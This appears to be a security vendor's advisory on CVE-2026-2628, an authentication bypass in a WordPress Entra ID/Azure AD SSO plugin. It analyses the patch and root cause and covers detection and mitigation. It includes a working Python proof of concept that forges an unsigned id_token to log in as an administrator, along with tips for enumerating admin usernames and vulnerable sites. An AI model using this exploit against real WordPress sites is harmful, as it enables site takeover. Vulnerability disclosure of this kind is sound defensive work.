Critical auth bypass in WordPress Azure AD SSO plugin due to missing OIDC id_token validation

April 10, 2026

BUG BREAKDOWN: AUTH BYPASS, WORDPRESS AZURE AD SSO PLUGIN

An authentication bypass in a plugin for adding Microsoft Entra ID (Azure AD) single sign-on (SSO) to WordPress potentially allowed attackers to take over administrator accounts and fully compromise websites.

The critical vulnerability (CVSS 9.8), which affects All-in-One Microsoft 365 & Entra ID/Azure AD SSO Login (Entra ID/Azure AD SSO), arose because of missing identity token validation. This allowed unauthenticated attackers to log in as arbitrary WordPress users – including administrators – without valid credentials by simply sending a crafted HTTP request to the authentication callback. Exploitation may leave few traces beyond what appears to be a legitimate administrator SSO login, which complicates detection.

The bug (CVE-2026-2628) was patched in version 2.2.6 of Entra ID/Azure AD SSO (aka Login with Azure).

At the time of writing, no free PoC is publicly available. However, as shown below, exploitation is trivial.

Needless to say, users of Login with Azure should update to the latest version immediately, given the high impact and low complexity of exploitation. Even though the number of deployed instances is fairly low (600+ active installations, WordPress.org says), a simple Shodan/Censys query reveals dozens of vulnerable instances.

The YesWeHack platform can map your external attack surface, identify instances running affected versions (≤ 2.2.5) and run targeted security checkpoints across your perimeter to confirm real exploitability – giving your team a clear, actionable view of the risk. Find out how you can mitigate actively exploited vulnerabilities.

CVE details in brief

Published: 3-3-2026

Affected product: WordPress All-in-One Microsoft 365 & Entra ID/Azure AD SSO Login

Vulnerable versions: <= 2.2.5

CVSS v3.1 score: 9.8 (critical)

Related weaknesses: CWE-288: Authentication Bypass Using an Alternate Path or Channel

Potential impacts: Authentication bypass, admin takeover

Root cause: missing id_token signature verification

Websites and applications increasingly rely on federated identity mechanisms such as OpenID Connect (OIDC) and OAuth 2.0 to delegate authentication to trusted identity providers (IdPs) via Single Sign-On (SSO). In OIDC, the id_token plays a critical role: a signed JSON Web Token (JWT) asserting the authenticated user’s identity. Applications must verify the token’s signature using the IdP’s JWKS public keys and validate properties (issuer, audience etc) before trusting it.

Skipping this validation allows attackers to forge arbitrary ID tokens, effectively bypassing the authentication flow.

Unfortunately, this validation step is easily and frequently missed, as seen in older similar vulnerabilities (eg CVE-2021-22573 in Google-oauth-java-client, CVE-2020-26244 in python_oic or CVE-2021-44878 in pac4j). As detailed below, missing signature verification was further worsened by a confusion between the various permitted OIDC flows, making CVE-2026-2628 much more critical and trivially exploitable from the internet.

Patch analysis for CVE-2026-2628

Analysis of the Login with Azure 2.2.6 patch is pretty straightforward:

1. Missing JWKS verification

Once formatting and CRLF-related changes are removed, the diff reveals two main modifications:

1$ git diff --stat
2
3admin/partials/class-moazure-admin-utils.php |46 +++++++++++++++++++++++++++++++++++++++++
4
5class-moazure-widget.php|46 +++++++++++++++++++++--------------------
6
7handler/class-moazure-handler.php| 145 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
8
9mo_oauth_settings.php|2 +-
10
11readme.txt|8 +++++++-
12
135 files changed, 223 insertions(+), 24 deletions(-)

The diff above shows that the primary changes occur in class-moazure-widget.php and class-moazure-handler.php.

1// in class-moazure-widget.php
2
3( isset( $_REQUEST['id_token'] ) ) { //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Ignoring nonce verification because we are fetching data from URL and not on form submission.
4
5-$id_token = sanitize_text_field( wp_unslash( $_REQUEST['id_token'] ) ); //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Ignoring nonce verification because we are fetching data from URL and not on form submission.
6
7- } else {
8
9...
10
11+ if ( ! $moazure_handler->moazure_is_token_signature_valid( $id_token, $appconfig['tenant-id'] ) ) {
12
13+$id_token= '';
14
15+$token_response['error']= 'invalid_token';
16
17+$token_response['error_description'] = 'Invalid token signature';
18
19+ }

This patch added a new validation check before processing the id_token.

1// in class-moazure-handler.php
2
3/**
4
5* Check if token signature is valid using the RS256 algorithm.
6
7*
8
9* @param mixed $id_token id_token parameter.
10
11* @param mixed $tenant_id tenant_id parameter.
12
13* @return boolean
14
15*/
16
17public function moazure_is_token_signature_valid( $id_token, $tenant_id ) {
18
19$parts = explode( '.', $id_token );
20
21list( $encoded_header, $encoded_payload, $encoded_signature ) = $parts;
22
23$header = json_decode(
24
25MOAzure_Admin_Utils::moazure_token_base64_decode( $encoded_header ),
26
27true
28
29);
30
31...
32
33$jwks_url = 'https://login.microsoftonline.com/' . $tenant_id . '/discovery/v2.0/keys';
34
35$response = wp_remote_get( $jwks_url, array( 'timeout' => 10 ) );
36
37...
38
39$jwks = json_decode( wp_remote_retrieve_body( $response ), true );
40
41...
42
43foreach ( $jwks['keys'] as $key ) {
44
45if ( isset( $key['kid'] ) && $key['kid'] === $header['kid'] ) {
46
47$public_key = $this->moazure_build_rsa_public_key( $key );
48
49break;
50
51}
52
53}
54
55...
56
57$data= $encoded_header . '.' . $encoded_payload;
58
59$signature = MOAzure_Admin_Utils::moazure_token_base64_decode( $encoded_signature );
60
61$verified = openssl_verify(
62
63$data,
64
65$signature,
66
67$openssl_key,
68
69OPENSSL_ALGO_SHA256
70
71);
72
73return ( 1 === $verified );
74
75}

In summary, the new moazure_is_token_signature_valid(...) method is introduced and called to:

So now the backend code correctly verifies the token’s signature, while versions <=2.2.5 trusted any attacker-crafted id_token.

2. OIDC Flow confusion => critical Auth Bypass

However, what makes CVE‑2026‑2628 critical isn’t just the missing signature verification. As it turns out, the if(isset($_REQUEST['id_token'])) code path was accepting any id_token from inbound requests, instead of handling it only from the IdP’s response to the back-channel /token POST call. The root cause here seems to be an OIDC flow confusion, where Implicit Flow with Form Post is mixed with Authorisation Code Flow (which is now the recommended flow).

As noted in multiple inline comments, this code path was not intended to handle OIDC flows involving browser-forwarded id_token values, such as the Implicit Flow with Form Post. For example:

1// phpcs:ignore WordPress.Security.NonceVerification.Recommended
2// Ignoring nonce verification because we are fetching data from URL and not on form submission.

In Authorisation Code Flow, only the authorisation code should be read from browser requests. The id_token should only be received through the backchannel from WordPress server to IdP.

Unfortunately, and despite the comments, the plugin was accepting both, allowing any forged id_token to bypass the code path intended for the authorisation code flow. Any non-empty code parameter was enough to consider the incoming id_token valid. The missing signature verification further turned that single line flaw into a critical authentication bypass.

Proof of concept

In a normal authorisation code OIDC flow, successful sign-in in the SSO popup redirects the browser to the redirect_uri callback setup in the Login with Azure plugin config. Azure provides an opaque authorisation code via the code query param:

1- - [13/Mar/2026:10:50:49 +0000] "GET /?code=1.Aa8AclcSZ...

The WordPress server then sends an HTTP POST request to https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token containing:

  • client_id (azure app CLIENT_ID set in plugin config)
  • client_secret (azure app CLIENT_SECRET set in plugin config)
  • scope: openid profile email api.read
  • code: 0.AAAA1234... (authorisation code from redirect query params)
  • redirect_uri (callback defined in plugin config)
  • grant_type: authorisation_code (chosen OIDC flow)

Azure’s JSON response contains several base64-encoded signed JWT tokens:

1{
2
3"token_type": "Bearer",
4
5"scope": "openid profile email api.read",
6
7"expires_in": 3599,
8
9"ext_expires_in": 3599,
10
11"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...",
12
13"id_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...",
14
15"refresh_token": "0.AAAABBBBCCCC"
16
17}

The id_token itself is a dot-separated, base64-encoded, signed JWT token: <header>.<payload>.<signature>. The token part contains several JSON key-values:

1{
2
3"aud": "ae23059d-45f1-41c9-800a-3a574aa5bae1",
4
5"iss": "https://login.microsoftonline.com/b0bd86e8-a5d7-4c3e-14a4-a7d0e1c0604f/v2.0",
6
7"iat": 1773326949,
8
9"nbf": 1773326949,
10
11"exp": 1773330849,
12
13"email": "iacheiPh7raengie@outlook.com",
14
15"idp": "https://sts.windows.net/0a1d2b4c5ec67-4adb-0cb2-1a2bcd3e1a2d/",
16
17"name": "Elsa Triolet",
18
19"oid": "ad1da5c0dbd61-42e3-845c-c751a35bd2e9",
20
21"preferred_username": "iacheiPh7raengie@outlook.com",
22
23"rh": "1.AUEB5I132I314U5tavbAccCdXewcFb3dZelAcXc60-qaq5E6AL4Baq.",
24
25"sid": "102fa364-558b-4352-4b35-564e666524c1",
26
27"sub": "58o41N5H4C56e_55m4T5F6j34P546W48O4Q5p6l1v_Q",
28
29"tid": "40576648-5567-443d-a4d5-f4c57610405f",
30
31"uti": "GA45GBAH45645dfge4d5Aa",
32
33"ver": "2.0"
34
35}

Email, name and preferred_username identify the user; oid and sub are stable unique identifiers for the user; and sid, uti and rh are session identifiers.

As seen in the patch, we can simply mimic this JWT, setting arbitrary user identifiers in the payload, appending a dummy header and signature such as blabla.<base64-forged-id_token>.blabla and submit it to the callback URI via POST, as demonstrated in the following python stub:

1import requests
2
3import base64
4
5import json
6
7from bs4 import BeautifulSoup
8
9APP_NAME = "azure"# Replace with the "Login with <XXX>" button label
10
11s = requests.Session()
12
13r = s.get(
14
15"<URL>",
16
17params={
18
19"code": "whatever",
20
21"state": base64.encodebytes(APP_NAME.encode()).decode(),
22
23"id_token": "fakeheader."
24
25+ base64.b64encode(
26
27json.dumps(
28
29{
30
31"email": "admin",
32
33"name": "admin",
34
35"preferred_username": "admin",
36
37}
38
39).encode()
40
41).decode()
42
43+ ".fakesignature",
44
45},
46
47)
48
49r = s.get("<URL>/wp-admin")
50
51print("/wp-admin status:", r.status_code)
52
53if "Site Health Status" in r.text:
54
55print("✅ on admin dashboard 🎉")
56
57html = BeautifulSoup(r.text, "lxml")
58
59print("User:", html.select_one(".display-name").text)

We therefore take over the admin account with a single HTTP GET request from the internet, provided that the WordPress instance is publicly exposed and running Azure AD SSO version <=2.2.5. 🥳

NOTE: The server checks that the state parameter matches the base64-encoded ‘app name’ (configurable in plugin admin panel), which can be trivially extracted from the “Login with <XXX>” button’s label. This state check is yet another misuse of the OIDC standard (it should be used for CSRF protection as per the OIDC spec). The patched, 2.2.6 version still misses multiple checks we could expect from a solid OIDC client implementation (anti-CSRF state, anti-replay nonce, PKCE challenge, issuer and audience validation, etc). Although the 2.2.6 patch fixes the critical bypass, its implementation thus remains pretty weak for a security-related plugin.

NOTE 2: The PoC demonstrated here guesses the admin username by manually exploring the WordPress site authors. This can be automated by extracting the first registered user’s name from /?author=1 page’s content using, for instance, the $("h1 span") CSS selector.

Threat landscape for CVE-2026-2628

Although no threat-intelligence vendor has publicly reported active exploitation against exposed sites yet, the attractiveness of this vulnerability to opportunistic attackers suggests it may follow the common exploitation pattern seen in the WordPress ecosystem:

  1. Vulnerability disclosure
  2. Automated scanning within hours
  3. Exploitation by botnets targeting admin access

Because authentication bypass vulnerabilities allow privileged access without brute force, they are highly attractive for automated exploitation campaigns. Typical post‑exploitation activity includes:

  • Creation of hidden admin accounts
  • Deployment of SEO spam or redirect malware
  • Installation of web shells
  • Use of compromised sites in phishing or malware distribution
  • Content exfiltration
  • Secrets harvesting

Attack surface

The real risk of CVE‑2026‑2628 comes from the large attack surface created by WordPress plugins. Although the Azure AD SSO plugin isn’t widely deployed, WordPress powers a significant portion of the public web, while SSO plugins are commonly used in:

  • enterprise marketing sites
  • documentation portals
  • internal portals exposed through VPN
  • partner portals

Moreover, affected deployments share a predictable authentication endpoint and plugin assets fingerprint such as /wp-content/plugins/login-with-azure/readme.txt that publicly mention the running version:

This makes it easy for attackers to automatically enumerate targets and efficiently send the single HTTP request to the OIDC callback endpoint required to break in.

Shodan/Censys/Onyphe queries like url:"/wp-login.php" login-with-azure show exposed instances (not necessarily unpatched). Further systematic checking of readme.txt exhibits the version tag, narrowing the search to <=2.2.5 versions, which can be systematically probed with forged id_token at low cost.

Detecting and mitigating CVE-2026-2628

Before patching, the first challenge is knowing whether you’re affected in the first place.

YesWeHack can help by mapping your external attack surface (subdomains, related domains, exposed services and their technology stacks), then identifying instances running the affected WordPress plugin versions (≤ 2.2.5).

From there, targeted security checkpoints are run across the entire perimeter to confirm actual exploitability and give your team a clear, actionable view of the risk.

Detecting exploitation attempts is complicated by the lack of malicious signals in the authentication flow logs. Robust detection involves correlating:

  • WordPress logins without corresponding Microsoft Entra ID sign‑in events
  • Malformed or unusual OAuth parameters submitted to the callback endpoint

Mitigation is easy and quite standard once the vulnerability is identified:

  • Upgrade to version 2.2.6 or later, which addresses the vulnerability
  • Otherwise, disable the plugin
  • Restrict inbound access to the authentication callback endpoint using IP filtering where possible

Conclusion

CVE-2026-2628 highlights a recurring issue in modern authentication systems: identity federation is only as secure as its implementation.

Despite the routine use of strong protocols like OpenID Connect, real‑world integrations frequently fail due to:

  • Incomplete token validation
  • OIDC flow confusion between front-channel and back-channel
  • Lack of complete flow integrity checks (CSRF, replay and interception attack vectors).

Because authentication bypass vulnerabilities grant immediate administrative access, they quickly become targets for automated exploitation once disclosed.

Organisations running WordPress with the Azure AD SSO plugin should treat this vulnerability as urgent and upgrade immediately to version 2.2.6 or later.

References